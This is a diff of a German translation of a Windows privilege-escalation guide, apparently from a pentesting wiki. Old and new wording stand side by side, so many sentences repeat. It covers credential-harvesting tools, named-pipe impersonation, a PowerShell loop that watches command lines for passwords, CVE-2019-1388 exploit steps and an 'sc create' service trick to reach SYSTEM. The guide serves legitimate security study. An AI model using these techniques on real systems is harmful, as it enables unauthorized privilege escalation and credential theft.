[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **ist ein msf** Plugin, das ich erstellt habe, um **automatisch jedes Metasploit POST-Modul auszuführen, das nach Anmeldeinformationen** im Opfer sucht.\
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) sucht automatisch nach allen Dateien, die Passwörter enthalten, die auf dieser Seite erwähnt werden.\
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) sucht automatisch nach allen Dateien, die auf dieser Seite erwähnte Passwörter enthalten.\
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) ist ein weiteres großartiges Tool, um Passwörter aus einem System zu extrahieren.
Das Tool [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) sucht nach **Sitzungen**, **Benutzernamen** und **Passwörtern** mehrerer Tools, die diese Daten im Klartext speichern (PuTTY, WinSCP, FileZilla, SuperPuTTY und RDP).
@ -1227,17 +1229,17 @@ Wenn Sie dann **vollen Zugriff auf den niedrig privilegierten Prozess** haben, k
Gemeinsame Speichersegmente, die als **Pipes** bezeichnet werden, ermöglichen die Kommunikation und den Datenaustausch zwischen Prozessen.
Windows bietet eine Funktion namens **Named Pipes**, die es nicht verwandten Prozessen ermöglicht, Daten zu teilen, selbst über verschiedene Netzwerke hinweg. Dies ähnelt einer Client/Server-Architektur, bei der die Rollen als **Named Pipe Server** und **Named Pipe Client** definiert sind.
Windows bietet eine Funktion namens **Named Pipes**, die es nicht verwandten Prozessen ermöglicht, Daten zu teilen, sogar über verschiedene Netzwerke hinweg. Dies ähnelt einer Client/Server-Architektur, bei der die Rollen als **Named Pipe Server** und **Named Pipe Client** definiert sind.
Wenn Daten durch eine Pipe von einem **Client** gesendet werden, hat der **Server**, der die Pipe eingerichtet hat, die Möglichkeit, die **Identität** des **Clients** zu **übernehmen**, vorausgesetzt, er hat die erforderlichen **SeImpersonate**-Rechte. Die Identifizierung eines **privilegierten Prozesses**, der über eine Pipe kommuniziert und den Sie nachahmen können, bietet die Möglichkeit, **höhere Berechtigungen zu erlangen**, indem Sie die Identität dieses Prozesses übernehmen, sobald er mit der von Ihnen eingerichteten Pipe interagiert. Für Anweisungen zur Durchführung eines solchen Angriffs sind hilfreiche Anleitungen [**hier**](named-pipe-client-impersonation.md) und [**hier**](#from-high-integrity-to-system) zu finden.
Außerdem ermöglicht das folgende Tool, **eine Named Pipe-Kommunikation mit einem Tool wie Burp abzufangen:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **und dieses Tool ermöglicht es, alle Pipes aufzulisten und zu sehen, um Privilegien zu erlangen** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
Außerdem ermöglicht das folgende Tool, **eine Named Pipe-Kommunikation mit einem Tool wie Burp abzufangen:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **und dieses Tool ermöglicht es, alle Pipes aufzulisten und zu sehen, um Privilegien zu finden** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
## Misc
### **Überwachung von Befehlszeilen auf Passwörter**
Wenn Sie eine Shell als Benutzer erhalten, können geplante Aufgaben oder andere Prozesse ausgeführt werden, die **Anmeldeinformationen in der Befehlszeile übergeben**. Das folgende Skript erfasst alle zwei Sekunden die Befehlszeilen der Prozesse und vergleicht den aktuellen Zustand mit dem vorherigen Zustand, wobei alle Unterschiede ausgegeben werden.
Wenn Sie eine Shell als Benutzer erhalten, können geplante Aufgaben oder andere Prozesse ausgeführt werden, die **Anmeldeinformationen über die Befehlszeile übergeben**. Das folgende Skript erfasst alle zwei Sekunden die Befehlszeilen der Prozesse und vergleicht den aktuellen Zustand mit dem vorherigen Zustand, wobei alle Unterschiede ausgegeben werden.
```powershell
while($true)
{
@ -1277,7 +1279,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
```
Um diese Schwachstelle auszunutzen, ist es notwendig, die folgenden Schritte auszuführen:
Um diese Schwachstelle auszunutzen, sind die folgenden Schritte erforderlich:
```
1) Right click on the HHUPD.EXE file and run it as Administrator.
@ -1299,25 +1301,25 @@ Sie haben alle notwendigen Dateien und Informationen im folgenden GitHub-Reposit
https://github.com/jas502n/CVE-2019-1388
## Vom Administrator-Medium zum hohen Integritätslevel / UAC-Umgehung
## Vom Administrator Medium zu High Integrity Level / UAC Bypass
Lesen Sie dies, um **über Integritätslevel zu lernen**:
Lesen Sie dies, um **über Integritätsstufen zu lernen**:
{{#ref}}
integrity-levels.md
{{#endref}}
Lesen Sie dann **dies, um über UAC und UAC-Umgehungen zu lernen:**
Lesen Sie dann **dies, um über UAC und UAC-Bypässe zu lernen:**
{{#ref}}
../authentication-credentials-uac-and-efs/uac-user-account-control.md
{{#endref}}
## **Vom hohen Integritätslevel zum System**
## **Von High Integrity zu System**
### **Neuer Dienst**
Wenn Sie bereits auf einem hohen Integritätsprozess laufen, kann der **Übergang zu SYSTEM** einfach sein, indem Sie **einen neuen Dienst erstellen und ausführen**:
Wenn Sie bereits auf einem High Integrity-Prozess laufen, kann der **Übergang zu SYSTEM** einfach sein, indem Sie **einen neuen Dienst erstellen und ausführen**:
```
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
@ -1362,9 +1364,9 @@ https://github.com/sailay1996/RpcSsImpersonator
[Statische Impacket-Binärdateien](https://github.com/ropnop/impacket_static_binaries)
## Nützliche Tools
## Nützliche Werkzeuge
**Das beste Tool zur Suche nach Windows-Privilegieneskalationsvektoren:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
**Das beste Tool, um nach Windows-Privilegieneskalationsvektoren zu suchen:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
**PS**
@ -1386,7 +1388,7 @@ https://github.com/sailay1996/RpcSsImpersonator
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Durchsucht den Host nach Fehlkonfigurationen (mehr ein Informationssammlungswerkzeug als Privilegieneskalation) (muss kompiliert werden) **(**[**vorkompiliert**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Extrahiert Anmeldeinformationen aus vielen Softwareanwendungen (vorkompilierte exe in github)**\
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port von PowerUp nach C#**\
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Überprüfen Sie auf Fehlkonfigurationen (ausführbare Datei vorkompiliert in github). Nicht empfohlen. Funktioniert nicht gut in Win10.\
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Überprüfen Sie auf Fehlkonfigurationen (ausführbare vorkompilierte in github). Nicht empfohlen. Funktioniert nicht gut in Win10.\
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Überprüfen Sie auf mögliche Fehlkonfigurationen (exe aus python). Nicht empfohlen. Funktioniert nicht gut in Win10.
**Bat**
@ -1395,8 +1397,8 @@ https://github.com/sailay1996/RpcSsImpersonator
**Local**
[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Liest die Ausgabe von **systeminfo** und empfiehlt funktionierende Exploits (lokales Python)\
[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Liest die Ausgabe von **systeminfo** und empfiehlt funktionierende Exploits (lokales Python)
[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Liest die Ausgabe von **systeminfo** und empfiehlt funktionierende Exploits (lokal python)\
[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Liest die Ausgabe von **systeminfo** und empfiehlt funktionierende Exploits (lokal python)
**Meterpreter**